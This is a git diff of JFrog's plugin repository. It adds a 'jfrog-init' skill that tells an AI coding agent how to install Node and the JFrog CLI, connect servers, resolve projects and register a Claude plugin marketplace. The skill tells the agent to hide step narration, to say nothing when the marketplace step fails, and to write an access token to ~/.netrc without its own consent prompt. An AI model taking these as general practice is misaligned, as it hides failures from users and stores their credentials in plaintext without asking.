diff --git a/.devin-plugin/plugin.json b/.devin-plugin/plugin.json index 4e88acf..6d98dbc 100644 --- a/.devin-plugin/plugin.json +++ b/.devin-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "jfrog", "displayName": "JFrog Platform", - "version": "0.2.0", + "version": "0.2.1", "description": "Official JFrog plugin for Devin. Ships the JFrog skills bundle and registers the JFrog Platform MCP server (remote HTTP + OAuth).", "author": { "name": "JFrog Ltd.", diff --git a/.github/scripts/sync-skills-vendor.json b/.github/scripts/sync-skills-vendor.json index 765deaf..3f2a186 100644 --- a/.github/scripts/sync-skills-vendor.json +++ b/.github/scripts/sync-skills-vendor.json @@ -1,5 +1,7 @@ { "repo": "jfrog/jfrog-skills", - "pin": "v0.16.0", - "paths": ["skills"] + "pin": "v0.25.0", + "paths": [ + "skills" + ] } diff --git a/skills/jfrog-ai-catalog-skills/SKILL.md b/skills/jfrog-ai-catalog-skills/SKILL.md index ed273b1..f129918 100644 --- a/skills/jfrog-ai-catalog-skills/SKILL.md +++ b/skills/jfrog-ai-catalog-skills/SKILL.md @@ -56,18 +56,15 @@ Pick the row matching the user's intent and read that reference file. same `` to Agent Guard as `--server ""` so it targets the same server as your `jf` calls. Agent Guard also reads `JFROG_URL` / `JF_URL` directly when set, so make sure the `` you resolved points at that same host. -- **Resolve the project (``) only when needed, and always to a key.** - `` must be the JFrog **project key**, not the display name. It is - required for `--list-skills`, `--list-skill-versions`, and - `--provision-skills-repository`. Take the value from `JF_PROJECT` or the user, - then resolve it to a key against the projects list (see *List all projects* in - the base `jfrog` skill's [`references/projects-api.md`](../jfrog/references/projects-api.md)): - ```bash - jf api '/access/api/v1/projects' --server-id "" \ - | jq -r '.[] | select(.project_key=="" or .display_name=="") | .project_key' - ``` - Use the printed key. If it prints nothing, ask the user for the key. Never - assume `default`, never invent one. Install, update, remove, and publishing to +- **Resolve the project (``) only when needed.** + It is required for `--list-skills`, `--list-skill-versions`, and + `--provision-skills-repository`. Take it from `JF_PROJECT` or the user. + There is no non-admin way to look up or validate project keys (the + `/access/api/v1/projects` list endpoint needs admin), so you cannot + silently correct a display name to a key. If the value looks like a + display name (spaces, mixed case) rather than a short slug, ask the + user to confirm the project **key** specifically. Never assume + `default`, never invent one. Install, update, remove, and publishing to an explicit `--repo` are keyed by skill **name** and/or **repo**, not a project. diff --git a/skills/jfrog-ai-catalog-skills/references/publishing-skills.md b/skills/jfrog-ai-catalog-skills/references/publishing-skills.md index 9cb4933..970d44c 100644 --- a/skills/jfrog-ai-catalog-skills/references/publishing-skills.md +++ b/skills/jfrog-ai-catalog-skills/references/publishing-skills.md @@ -137,6 +137,8 @@ template and do not run `jf skills publish` until the user agrees: > Publishing skill `` uploads it to repository `` on server ``. Do you want to publish it? +Never combine this final confirmation step with the previous signing step into one prompt. + If the user says no or names a different repo/name, use that instead and confirm again. Only proceed to *Publish* after an explicit "yes". diff --git a/skills/jfrog-init/SKILL.md b/skills/jfrog-init/SKILL.md new file mode 100644 index 0000000..f356ba4 --- /dev/null +++ b/skills/jfrog-init/SKILL.md @@ -0,0 +1,593 @@ +--- +name: jfrog-init +description: Set up and verify the JFrog plugin. Run on first install, to complete initial configuration, or to diagnose a broken setup. +disable-model-invocation: true +compatibility: >- + Requires Node.js 18 or newer, and network access to the JFrog platform. +allowed-tools: Bash(node --version) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-catalog-runtime.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-cli.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-config.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jfrog-mcp.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-project.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-server-ping.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-re*.mjs"*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" get*) Bash(node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" path*) Bash(node -e "import('${CLAUDE_SKILL_DIR}/scripts/jfrog-resolve-mcp-config.mjs').then(function(m){console.log(m.detectHarness())})") Bash(npx --version) Bash(uname:*) AskUserQuestion +metadata: + role: workflow +--- + +# /jfrog-init — verify and guide JFrog plugin readiness + +Walks a fixed, ordered checklist and stops at the first red result, guiding +the user through the matching fix before re-checking. Every detector in +`scripts/` is idempotent, read-only, JSON-emitting, and implemented in +Node (`.mjs`), so the same detector runs unmodified on macOS, Linux, and +Windows. Step 3's web-login uses this skill's own local `.mjs` scripts, +same as every other step. The one interactive fix step that isn't a Node +script at all is Step 1's Node install itself — a missing Node can't run +a `.mjs` installer, so that one step branches on OS or shell directly. + +Approval model — every user-approval point is detailed in its own Step +below (exact wording, `AskUserQuestion` payloads, forbidden phrases); +this is just the map: +- **`node`** — `AskUserQuestion` Yes/No before auto-installing (Step 1). +- **`jf` (JFrog CLI)** — `AskUserQuestion` Yes/No before auto-installing + (Step 2). +- **`jf config`** — `AskUserQuestion` picker (web login, in-session, vs. + access token, which never enters this conversation) (Step 3/4). +- **Project selection** — the user answers with a project name or key; + an `AskUserQuestion` picker offers the first two enumerated projects + plus "Other" (Step 6). +- Everything else in the walk is read-only, except Step 5's placeholder + substitution (writes the plugin's `mcp.json`, unattended by design — + no `AskUserQuestion`, see `references/script-invocation.md`), Step 8's + `~/.netrc` write (also unattended, no `AskUserQuestion` — see + `references/marketplace-setup.md`), and the Final summary's state + write below. + +Step 1's `nvm` install and `jfrog-install-jf-cli.mjs`, Step 3's +web-login scripts, Step 8's `jfrog-add-claude-marketplace.mjs` call, +and the Final summary's `jfrog-state-file.mjs set` call are +deliberately **not** in `allowed-tools` and will raise the harness's +own approval prompt — intended, not a misconfiguration; see +`references/script-invocation.md`. + +`${CLAUDE_SKILL_DIR}` below is this file's own directory. Claude Code +substitutes it automatically, identically, in both this text and the +`allowed-tools` Bash rules above — write it literally rather than +resolving it yourself, so the two stay byte-for-byte consistent +regardless of install depth (see `references/script-invocation.md`). On +a harness that doesn't perform this substitution (e.g. Cursor, which +doesn't consult `allowed-tools` for approval at all — every command +below still raises its own prompt there), replace it with the real +absolute path of this file's directory yourself, same as before. + +## At a glance (always-read core) + +- **Order matters.** Walk [Steps 1](#step-1-nodejs--18-installed)–[8](#step-8-claude-agent-plugin-marketplace-registered) + in exact order, stop at the first non-green result — except Step 5 + red/error, Step 6's one-retry cap, Step 7's "not entitled" and + "catalog unreachable" outcomes, and Step 8 entirely (all four + non-blocking). See + [The checklist, in order](#the-checklist-in-order). +- **`rc=$?` is mandatory** on every detector invocation — see + [Invoking scripts](#invoking-scripts-avoid-the-red-error-framing). A + bare `; true` hides every red/ask result as green. +- **Approval gates:** `AskUserQuestion` Yes/No before auto-installing + Node (Step 1) or `jf` (Step 2); `AskUserQuestion` picker for + web-login vs. token (Step 3/4); `AskUserQuestion` picker for project + selection (Step 6). Everything else is read-only except Step 5's + placeholder substitution, Step 8's `~/.netrc` write, and the Final + summary's state write. +- **Never surface the checklist.** Run silently — no step narration, no + raw JSON/exit codes, no branch-reasoning said out loud. See + [Customer-facing output](#customer-facing-output). +- **`` for Steps 4-7** always comes from the shared resolver + (explicit arg → `JF_SERVER_ID` → `isDefault` → sole configured server + → ask) — never invented, never `jf`'s own fallback. Step 8 reuses the + same value. See + [Resolving ``](#resolving-server-id-for-steps-4-7). +- **Persist state before the final summary** — run + `jfrog-state-file.mjs set` whenever Steps 1-4 are green, regardless of + Step 5/6/7. See [Final summary](#final-summary). +- **Never store, log, or print an access token** — credentials stay + inside `jf`'s own process or in-memory for one `fetch` call. **Step 8 + is the one deliberate exception** (writes `~/.netrc`) — see + [Step 8](#step-8-claude-agent-plugin-marketplace-registered) and + [Non-goals](#non-goals-out-of-scope-for-this-skill). +- **This skill is the exception to, not a consumer of, the base + [`../jfrog/SKILL.md`](../jfrog/SKILL.md)'s prerequisites** — do not + run its environment check as a gate before starting this walk. + +Steps: [1](#step-1-nodejs--18-installed) → [2](#step-2-jfrog-cli-installed) → +[3](#step-3-jf-connected-to-a-server) → [4](#step-4-server-reachable--credentials-valid) → +[5](#step-5-jfrog-mcp-plugin-file-has-a-jfrog-entry) → [6](#step-6-project-resolved) → +[7](#step-7-ai-catalog-reachable--user-entitled) → +[8](#step-8-claude-agent-plugin-marketplace-registered) + +## Prerequisites + +- **Read the base [`../jfrog/SKILL.md`](../jfrog/SKILL.md) for foundational + context** — JFrog Platform concepts and terminology, and the + [Server selection rules](../jfrog/SKILL.md#server-selection-rules-mandatory) + this skill's own "Resolving ``" section (below) follows the + same never-guess/never-infer philosophy of, via its own mechanism. +- **This skill is the exception that makes the base skill's prerequisites + true, not a consumer of them.** The base skill's + [environment check](../jfrog/SKILL.md#environment-check) assumes `jf` is + already installed at a working version — `/jfrog-init` is what gets a + user from nothing installed to that point. Do not run the base skill's + environment check as a gate before starting this walk; Steps 1-4 below + are this skill's own, more granular equivalent (Node, `jf` CLI install, + connection, credentials) purpose-built for the "nothing works yet" case. +- **Deliberately does not export `JFROG_CLI_USER_AGENT`**, unlike the + base skill's invariant — see `runJf()` in `scripts/lib/jf.mjs` for why + (telemetry-only impact). + +## Customer-facing output + +**The user does not need to see the checklist you are walking, but does +need to see what actually happened.** Run the detectors silently, +capture their output for your own reasoning, and surface only what the +user needs to know or act on: + +- **Do not** narrate step numbers ("Step 1…", "moving to Step 3…") + while the walk is in progress. +- **Do not** paste detector JSON, exit codes, or shell command output + into the reply. +- **Do not** narrate the branch-selection reasoning behind an + `AskUserQuestion` or plain-text prompt — e.g. explaining that + `unresolved` wasn't `"server"`, or that `candidatesWithNames` had two + or more entries, so this is "the generic ask using the first two + candidates." That reasoning (in `server-picker.md`, `project-picker.md`, + and the other reference docs' branch tables) is written for you to + follow silently, not to summarize out loud — the field names in it are + never user-facing. The only output the user sees at an ask point is + the prompt itself. +- **Do not** announce that you're about to run the checklist, or name + which check comes first — not even generically ("I'll run the setup + checklist silently, starting with the JFrog CLI check" is itself a + violation: it names a step while claiming to be silent). Silently + means no preamble message at all. Say nothing until you have + something the user needs to act on (an ask, a red result) or the + final summary. + +Instead: + +- **When everything passes**, give a short recap in the final summary + (see "Final summary" below): a short, emoji-based checklist — JF CLI + & Config, JFrog MCP Plugin, Project & AI Catalog — so the user sees + the end state of every check at a glance, not raw step numbers and + not the Node.js check (an implementation detail, not user-facing). +- **When something is red**, say *what's wrong in plain English* and + *what the user needs to do next*, in one or two sentences. Show the + exact command they need to run (they must see what they're + approving). +- **On failure, the raw detector error line is fair game** to include + verbatim as a debugging aid — one line, without the JSON wrapper. + +The rest of this file documents the flow **for you (the model)**, not +for the user. + +## Invoking scripts: avoid the red "Error" framing + +Every detector command shown below signals red/ask states via a +non-zero exit code, by design — append `; rc=$?; true` when invoking +any of them. **`rc=$?` is not optional**: every Step's branch table +below keys off the exit code, and a bare `; true` throws it away, so +every red and ask silently reads as green. **Read +`references/script-invocation.md` in full** before running any command +in this walk — the exact pattern and why it's required, not optional +background. + +## Flow + +**Follow this flow literally.** Every decision node is covered by a +detector or fix script below; every user-facing prompt uses the exact +wording documented in the corresponding step. Do not reorder, do not +skip, do not narrate the diagram to the user. Read +`references/flow-diagram.md` for the full flowchart before starting a +walk — the same logic as the Steps below, drawn as a map. + +## The checklist, in order + +1. **Node.js ≥ 18 installed?** — no script; run `node --version` / `npx --version` directly +2. **JFrog CLI (`jf`) installed?** — `scripts/jfrog-detect-jf-cli.mjs` +3. **`jf` connected to a server?** — `scripts/jfrog-detect-jf-config.mjs` +4. **Server reachable + credentials valid?** — `scripts/jfrog-detect-server-ping.mjs [server-id]` +5. **JFrog MCP plugin file has a jfrog entry?** — `scripts/jfrog-detect-jfrog-mcp.mjs [server-id]` +6. **Project resolved?** — `scripts/jfrog-detect-project.mjs [server-id] [project-input]` +7. **AI Catalog reachable & user entitled?** — `scripts/jfrog-detect-catalog-runtime.mjs [server-id]` +8. **Claude agent-plugin marketplace registered?** — `scripts/jfrog-add-claude-marketplace.mjs [server-id]`, Claude Code only + +Run detectors in this exact order and stop at the first non-green +result — except Step 5 going red/error (see Step 5), Step 6 hitting +its one-retry cap (see Step 6), Step 7's "not entitled" and "catalog +unreachable" outcomes (see Step 7), and Step 8 entirely (see Step 8), +all four non-blocking. Step +1 has no script — a Node script can't verify Node exists — so every +step after it is written in Node and can assume Node is present. The +JPD URL is read directly from +`jf config`; there is no separate +`JFROG_PLATFORM_URL` env var. The project key is asked every walk in +Step 6 (the state file at `~/.jfrog/setup.json` may supply a +"reuse the current project?" hint); Step 7's catalog probe takes no +project argument — it only checks catalog reachability and entitlement +for the resolved server. + +### Resolving `` for Steps 4-7 + +Order (used by every detector that takes `[server-id]` — resolved +through the single shared `scripts/jfrog-resolve-jf-server.mjs`): + +1. Explicit argument passed to the detector. +2. `JF_SERVER_ID` env var. +3. **The server flagged `"isDefault": true`** in `~/.jfrog/jfrog-cli.conf.v6` + — resolved automatically via `scripts/jfrog-resolve-jf-server.mjs`. +4. If only one server is configured, it is used silently. +5. Otherwise the detector exits **2 ("ask")** with a JSON `candidates` + list of the configured server IDs. **Stop and read + `references/server-picker.md` in full** — it has the exact + `AskUserQuestion` payload for showing the user the actual servers to + pick from; do not paraphrase or invent your own prompt. Never invent + a server, never rely on `jf`'s own fallback. + +## Step 1: Node.js ≥ 18 installed? + +```bash +node --version; true +npx --version; true +``` + +No script — Node's own binary is the only thing that can answer +"is Node installed", so there's nothing a script would check that +these two commands don't already answer directly. Checked first +because every other script in this walk — including every other +detector — is a Node program. `npx` matters because the JFrog MCP +server (`mcpServers.jfrog`, Step 5) is launched via `npx +@jfrog/agent-guard` — no `npx` means the MCP entry can't start, +regardless of everything else. + +Read the output yourself, no JSON to parse: + +- Either command errors (e.g. `command not found: node`) → **red**: + Node.js (or `npx`) is not installed / the install is broken. +- `node --version` prints a version like `v16.2.0` → parse the major + number yourself. `< 18` → **red**: "Node.js `` is too old — + jfrog-init requires Node ≥ 18." +- `node --version` ≥ 18 **and** `npx --version` succeeds → **green** → + proceed to Step 2. + +On red, **stop and read `references/node-install-prompt.md` in full +before responding to the user.** It has the exact `AskUserQuestion` +payload, the forbidden phrases, and the install commands — required +behavior, not optional background. Even on the install path there's no +detector *script*: a missing Node can't run a `.mjs` installer, so the +install is a bash/PowerShell command the model runs directly. + +## Step 2: JFrog CLI installed? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-cli.mjs"; rc=$?; true +``` + +- **Exit 0 (green)** → proceed to Step 3. +- **Exit 1 (red), `reason: "missing"`** → `jf` not found on PATH → **stop + and read `references/jf-cli-install-prompt.md` in full** — required + behavior, not optional background. +- **Exit 1 (red), `reason: "broken"`** → `jf` is on PATH but hung or + failed to run → **stop and read `references/jf-cli-install-prompt.md` + in full** — it has a separate payload for this case; required + behavior, not optional background. +- **Exit 1 (red), `reason: "outdated"`** → `jf` installed but below the + required minimum version → **stop and read + `references/jf-cli-update-prompt.md` in full** — required behavior, + not optional background. + +**Read `references/jf-cli-install-internals.md` for the full plan +A/B/C breakdown** — why this walk uses `npm install -g jfrog-cli-v2-jf` +instead of the base skill's OS-specific install docs, and how the +fallback to a checksum-verified direct binary download works. + +## Step 3: `jf` connected to a server? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-config.mjs"; rc=$?; true +``` + +Checked here (right after installing `jf`) so the JFrog CLI is +finished — install + auth — before the walk moves on to any other +prereqs. Keeps the "get `jf` working" story in one contiguous block +from the user's point of view. + +**This step does not pick or validate any specific server** — it only +checks that `jf config show` returns at least one configured server, +regardless of how many there are or whether one is marked `isDefault`. +If multiple servers are configured with none marked default, that +ambiguity is surfaced starting at Step 4, not here — see "Resolving +`` for Steps 4-7" above. + +- **Exit 0 (green)** → proceed to Step 4. +- **Exit 1 (red)** → `jf` is installed but not connected to any + server. **Stop and read `references/jf-config-auth-picker.md` in + full before responding to the user** — the Step 3 section has the + exact web-login-vs-token `AskUserQuestion`, this skill's own local + web-login script copies (no cross-skill call into the base `jfrog` + skill), and the token command template — required behavior, not + optional background. + +## Step 4: Server reachable + credentials valid? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-server-ping.mjs" "[server-id]"; rc=$?; true +``` + +**Stop and read `references/jf-config-auth-picker.md`'s "Step 4's full +branch table" section in full** — the two sub-checks and the required +exit-code branches (credentials-only fix on Exit 1, Exit 2 still +blocks) — required behavior, not optional background. + +## Step 5: JFrog MCP plugin file has a jfrog entry? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jfrog-mcp.mjs" "[server-id]"; rc=$?; true +``` + +Pass the same `` already resolved for Step 4 (empty string +if Step 4 resolved silently via default/single-server) — this reuses +it for the placeholder fix instead of re-resolving from scratch. + +**Read-only against the JFrog plugin's own `mcp.json` — with one +exception: automatic placeholder substitution** of an unresolved +`${JFROG_PLATFORM_URL}` / `${JFROG_URL}` with the real JPD URL from +`jf config`. + +**Stop and read `references/mcp-plugin-config.md` in full** — exactly +how the substitution works, the per-harness plugin-config paths, and +the required exit-code branches (Exit 1/3 non-blocking, Exit 2 the one +outcome that still blocks) — required behavior, not optional +background. + +## Step 6: Project resolved? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-project.mjs" "[server-id]" "[project-input]"; rc=$?; true +``` + +**State reuse across walks.** Before asking the user for a project, +**stop and read `references/project-state-reuse.md` in full** — it has +the exact "reuse ``?" `AskUserQuestion` and the jpdUrl-drift check +this step requires, not optional background. + +**Where the project list comes from.** `jfrog-detect-project.mjs` fetches +`GET /access/api/v1/projects` (the +[GetProjectsList](https://docs.jfrog.com/projects/reference/getprojectslist) +endpoint, authenticated with credentials from `jf config export`) once +per walk and caches it in memory for a short TTL (`lib/project-cache.mjs`) +— the interactive picker re-invokes this script once per user attempt, +and re-enumerating on every typed guess would be wasted network traffic. +This is the list every "enumerated project list" / `candidatesWithNames` +reference below draws from. + +**Name-or-key input.** The user answers with **either** the project's +canonical key OR its display name — whichever is easier for them. +`jfrog-detect-project.mjs` resolves it against the enumerated project +list (exact key, exact name, then progressively fuzzier tiers — see +`references/project-matching.md` for the exact algorithm), confirms +existence, and emits the canonical key on green in the JSON +`resolvedKey` field. An ambiguous input exits red with `candidates` +listing the tied keys. + +**Picking a project, interactively.** Whenever the detector needs the +user to choose — no input was passed, the typed input didn't match +anything (404), or it matched more than one project (ambiguous) — +**stop and read `references/project-picker.md` in full before +responding to the user.** It has the exact `AskUserQuestion` payload +shapes for each case (a 404 with close suggestions, an ambiguous or +missing input, and the no-`AskUserQuestion` plain-text fallback) and +the forbidden-phrasing rules for each — this is required behavior for +the step, not optional background. + +**Stop and read `references/project-resolution-branches.md` in full** +for exactly how to branch on the detector's exit code (green / ask / +red with the one-retry cap / error) — required behavior, not optional +background. + +## Step 7: AI Catalog reachable & user entitled? + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-catalog-runtime.mjs" "[server-id]"; rc=$?; true +``` + +**Stop and read `references/catalog-runtime-branches.md` in full** — +the two sub-checks (anonymous reachability, authenticated entitlement) +and the required exit-code branches (Exit 1 "not hosted/unreachable" +and Exit 4 "not entitled" are both non-blocking; Exit 2 still blocks) — +required behavior, not optional background. + +## Step 8: Claude agent-plugin marketplace registered? + +Two preconditions, in this order. **Step 7 must have been green** — the +marketplace is served by the same AI Catalog that Step 7 probes, so +after a non-blocking red there (unreachable, or not entitled) there is +nothing to register. Then, **Claude Code only** — check the current +harness by reusing `detectHarness()` from +`scripts/jfrog-resolve-mcp-config.mjs` (the same export Step 5 already +uses), e.g. +`node -e "import('${CLAUDE_SKILL_DIR}/scripts/jfrog-resolve-mcp-config.mjs').then(function(m){console.log(m.detectHarness())})"`. + +If either precondition fails, **skip this step silently** — never run +the script below, no `AskUserQuestion`, no note anywhere, not even in +the Final Summary. Treat it exactly as if Step 8 didn't exist for this +walk. + +Otherwise run: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-add-claude-marketplace.mjs" "[server-id]"; rc=$?; true +``` + +Pass the same `` already resolved for Step 4 (empty string +if Step 4 resolved silently via default/single-server). + +**Stop and read `references/marketplace-setup.md` in full before +acting on the exit code** — required behavior, not optional +background. + +- **Exit 0 (green)** → success. The last stdout line is + `Successfully added marketplace: ` — extract + `` for the Final Summary's trailing line. +- **Exit 1 or 3 (red)** → non-blocking failure. Say **nothing** — + exactly as in the skip above, not even in the Final Summary, and never + volunteer which cause it was. + +## Final summary + +**Persist the walk's state before rendering any outcome below.** +Whenever Steps 1-4 are green (regardless of what Step 5/6/7 reported), +run: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" set "" "" ""; rc=$?; true +``` + +using the server-id resolved earlier in this walk, Step 4's own +`jpdUrl` field (present on its green JSON result), and Step 6's project +key — its `resolvedKey` on green, or `""` if Step 6 never resolved one +(ambiguous input, 404, 403, or the one-retry cap was hit). This is the +only thing that writes `~/.jfrog/setup.json` when the walk is followed +step-by-step; it's the same file Step 6's "reuse ``?" prompt +(`project-state-reuse.md`) reads on a future walk, so skipping this call +means that prompt has nothing to offer next time. Skip it only if Steps +1-4 themselves didn't all pass — there's nothing resolved yet to +persist. (Running the whole walk via `jfrog-detect-all.mjs` instead — +see "Running everything at once" below — does this same write itself; +don't call both.) + +**Give the user a short recap, not the raw checklist.** See +"Customer-facing output" above — no step numbers, no raw JSON. Render a +short, emoji-based checklist, not a prose paragraph or a five-line +plain-text list. Three grouped lines cover all five checks: + +- **JF CLI & Config** — Steps 2-4 (`jf` installed and connected to a + server). Always fully resolved here — this checklist only renders + once Steps 1-4 all passed (see "Anything else red" below for the + alternative). +- **JFrog MCP Plugin** — Step 5. +- **Project & AI Catalog** — Steps 6 and 7 together. + +Skip Node.js (Step 1) — implementation detail, not user-facing. + +**Rules for the checklist:** +1. Do **not** use the word "done" anywhere in it. +2. Keep it to exactly these three grouped lines — never expand back out + to five. +3. All three groups fully resolved → use this exact format, verbatim: + + > ✨ **JFrog initialization complete!** + > ✅ JF CLI & Config + > ✅ JFrog MCP Plugin + > ✅ Project & AI Catalog + +4. A group with something outstanding gets ⚠️ instead of ✅, plus a + short fact after an em dash: + + > ✨ **JFrog initialization complete!** + > ✅ JF CLI & Config + > ⚠️ JFrog MCP Plugin — not configured + > ✅ Project & AI Catalog + + For the merged **Project & AI Catalog** line, if only one of the two + is outstanding name just that one; if both are, separate them with a + semicolon: `⚠️ Project & AI Catalog — project not set up yet; catalog + access not entitled`. + +5. **Step 8's outcome is never a fourth checklist line** — still exactly + three grouped lines above. On Claude Code only, append one trailing + sentence after the checklist block: + - **Success** — this exact wording, do not reword it: + + > Added the JFrog marketplace `` to Claude Code. + > Browse available plugins with `/plugins`, or install directly with + > `claude plugin install @` + + - **Failed/error, or skipped** — nothing. + +Never phrase a ⚠️ line as a failure or as something the user needs to +fix before continuing — these three are non-blocking by design. The +short fact after the em dash is the same underlying cause this skill +has always surfaced, just worded without "pending": + +- **Step 5 red/error (MCP plugin not configured):** `not configured`. + If the user asks why or how to fix it, that's when the specific cause + from Step 5's `detail` comes in — either run + `jfrog-reinstall-jfrog-plugin.mjs` (see Step 5) for the per-harness + reinstall remedy, or point at resolving `jf config`, matching + whichever cause Step 5 actually reported. +- **Step 6 hit its retry cap (no project resolved):** `project not set + up yet`. If the user asks, mention they can pick one whenever they're + ready. The server/JPD are still recorded to the state file either way + (see the persistence step at the top of this section); a project + picked in an earlier walk, if any, is left as-is rather than cleared. +- **Step 7 returned exit 4 (not entitled):** `catalog access not + entitled`. If the user asks for the fix: ask your JFrog admin for the + "AI Catalog Read" role to browse or install MCPs from the catalog. +- **Step 7 returned exit 1 (catalog not hosted / unreachable):** + `catalog not reachable on this JPD`. No fix instruction; there may be + nothing to fix (this JPD may simply not host the AI Catalog). +- **Something happened this walk** (Node.js/`jf` CLI installed, `jf + config` connected, a project resolved in Step 6, an MCP placeholder + substituted in Step 5, etc.): still the same checklist — the action + itself isn't called out per-line, ✅ is ✅ regardless of whether it + needed fixing this walk. +- **Anything else red** (Steps 1-4 not all green): one or two sentences + naming what's blocking and what to do next, no checklist — there's + nothing to check off yet. Include the raw detector error line if it + helps debug, without the JSON wrapper. + +## Running everything at once + +**Read `references/batch-walk.md` in full** for `jfrog-detect-all.mjs`'s +exact semantics — the non-blocking exceptions, the JSON summary +fields, and the state-file write behavior. + +## Non-goals (out of scope for this skill) + +- Installing the JFrog IDE plugin, or replacing its auto-config. +- Installing the VS Code hook. +- A first-MCP wizard for an empty catalog. +- Persisting the picked **project key** to `JF_PROJECT` or any shell + profile. Step 6 asks every walk and threads the pick forward as a + positional argument only — nothing about project selection ever + touches a shell profile. (Two other, unrelated things in this walk + *do*: Step 1's `nvm`-based Node install, and Step 2's Plan C fallback + when npm itself isn't usable — both append one PATH line to the + user's shell rc file, disclosed up front in the install consent + prompts, see `node-install-prompt.md` / `jf-cli-install-prompt.md`. + Plans A/B of Step 2 — the common case — don't touch a shell profile + at all, relying on npm's own global bin directory instead.) +- Granting AI Catalog roles/permissions — Step 7 only instructs. +- Storing access tokens to disk, logging them, or printing them. + Step 4's authenticated check keeps the credential inside `jf`'s own + process (`jf rt ping`); Steps 6 and 7 extract it from `jf config + export` only in memory, for one `fetch` call. Step 3/4's token-based + `jf config` path (see `references/jf-config-auth-picker.md`) never + touches this skill or the model at all — the user runs that command + themselves. **Step 8 is the one deliberate exception** — it writes + the token to `~/.netrc`; see `references/marketplace-setup.md`. + +## Before you run `/jfrog-init` — checklist + +[At a glance](#at-a-glance-always-read-core) invariants: + +- [ ] Walk Steps 1-8 in exact order; stop at the first non-green result + (Step 5 red/error, Step 6's retry cap, Step 7 "not entitled" or + "unreachable", and Step 8 entirely are non-blocking) +- [ ] Every detector invocation appends `; rc=$?; true` — never a bare + `; true` +- [ ] `AskUserQuestion` before auto-installing Node (Step 1) or `jf` + (Step 2); picker for web-login vs. token (Step 3/4); picker for + project selection (Step 6) +- [ ] Silent walk — no step narration, no raw JSON/exit codes, no + branch-reasoning surfaced to the user +- [ ] `` for Steps 4-8 comes only from the shared resolver — + never invented, never `jf`'s own fallback +- [ ] Steps 1-4 green → `jfrog-state-file.mjs set + ` before rendering the final summary +- [ ] Never store, log, or print an access token — except Step 8's + `~/.netrc` write +- [ ] Read the base `../jfrog/SKILL.md` for context; do not run its + environment check as a gate before this walk diff --git a/skills/jfrog-init/references/batch-walk.md b/skills/jfrog-init/references/batch-walk.md new file mode 100644 index 0000000..c590e4a --- /dev/null +++ b/skills/jfrog-init/references/batch-walk.md @@ -0,0 +1,38 @@ +# Running everything at once — jfrog-detect-all.mjs + +`node scripts/jfrog-detect-all.mjs [server-id] [project-key]` runs Steps 1–7 +in order and stops at the first non-green result — except Step 5 going +red/error, Step 6 going red (ambiguous/404/403), and Step 7 going red +in either of its two non-blocking shapes (exit 1: catalog not hosted / +unreachable / 5xx, or exit 4: reachable but not entitled), all of which +are non-blocking: Steps 1-4 passing is what "green" means here, +and the MCP-plugin, project-resolution, and catalog-availability gaps +are each reported as separate signals. This script makes exactly one +project-resolution attempt per invocation and has no way to tell a +first attempt from a last one, so it always treats a Step 6 red as +non-blocking — the interactive walk (see Step 6 in `SKILL.md`) is what +enforces the one-retry cap before giving up. Steps 5's, 6's, and 7's own +`ask`/`error` outcomes (ambiguous server-id, no project input passed, +`jf` missing/credentials rejected) still block, same as every other +step's genuine stop. If no project key is passed, Step 6 emits `ask` +with candidates and the walk halts; the caller re-invokes with the +picked project as arg 2 — unless that `ask` carries `"unresolved": +"server"`, in which case it's a server pick (see Step 6's branches) and +the re-invocation picks server-id (arg 1) instead. + +Exit 0 = Steps 1-4 green (MCP configured or not, project resolved +or not, catalog entitled or not); exit 1 = something needs fixing. The +final JSON line adds `mcpConfigured: true|false`, `projectResolved: +true|false`, and `catalogEntitled: true|false` so a caller can tell the +exit-0 cases apart — plus `catalogReason: "unreachable" | "not_entitled"` +whenever `catalogEntitled` is `false`, so the Final Summary can name the +specific gap instead of a generic one. Writes the `~/.jfrog/setup.json` +state-file hint whenever Steps 1-4 are green, **regardless of +`projectResolved`, `mcpConfigured`, or `catalogEntitled`** — the server +and JPD URL are worth remembering on their own, independent of whether +a project got picked, the MCP plugin is wired up, or the AI Catalog is +reachable/the user is entitled to it. An unresolved project is passed +to `jfrog-state-file.mjs` as an empty key, which leaves any previously +recorded `currentActiveProject` alone rather than erasing it (see +`jfrog-state-file.mjs`); it's never written as a fresh, unvalidated +value. diff --git a/skills/jfrog-init/references/catalog-runtime-branches.md b/skills/jfrog-init/references/catalog-runtime-branches.md new file mode 100644 index 0000000..cae6cd5 --- /dev/null +++ b/skills/jfrog-init/references/catalog-runtime-branches.md @@ -0,0 +1,68 @@ +# Step 7 — AI Catalog reachable & entitled: mechanics and branches + +Two sub-checks against +`/ml/core/api/v1/mcp-registry/ml-projects?pageSize=1` (where +`` is the URL stored in `jf config` for the resolved server — +this skill never uses a separate `JFROG_PLATFORM_URL` env var), both +must pass. This step is **purely about AI Catalog access** — no +runtime checks (Node lives in Step 1; `uv` / `docker` are per-MCP +concerns, not this skill's). + +1. **Anonymous** GET — proves the endpoint is deployed at this JPD. + `2xx/401/403/405/406` = up; `404` / connection failure = red. +2. **Authenticated** GET to the same path, with the bearer token (or + user+password) extracted from `jf config export` — same credential + source `jf` itself uses (token / user+password / SSO refresh, + whatever's stored), so the skill never asks for or invents + credentials, and the token only lives in memory for this one + request. `2xx` = user is **entitled** to read the AI 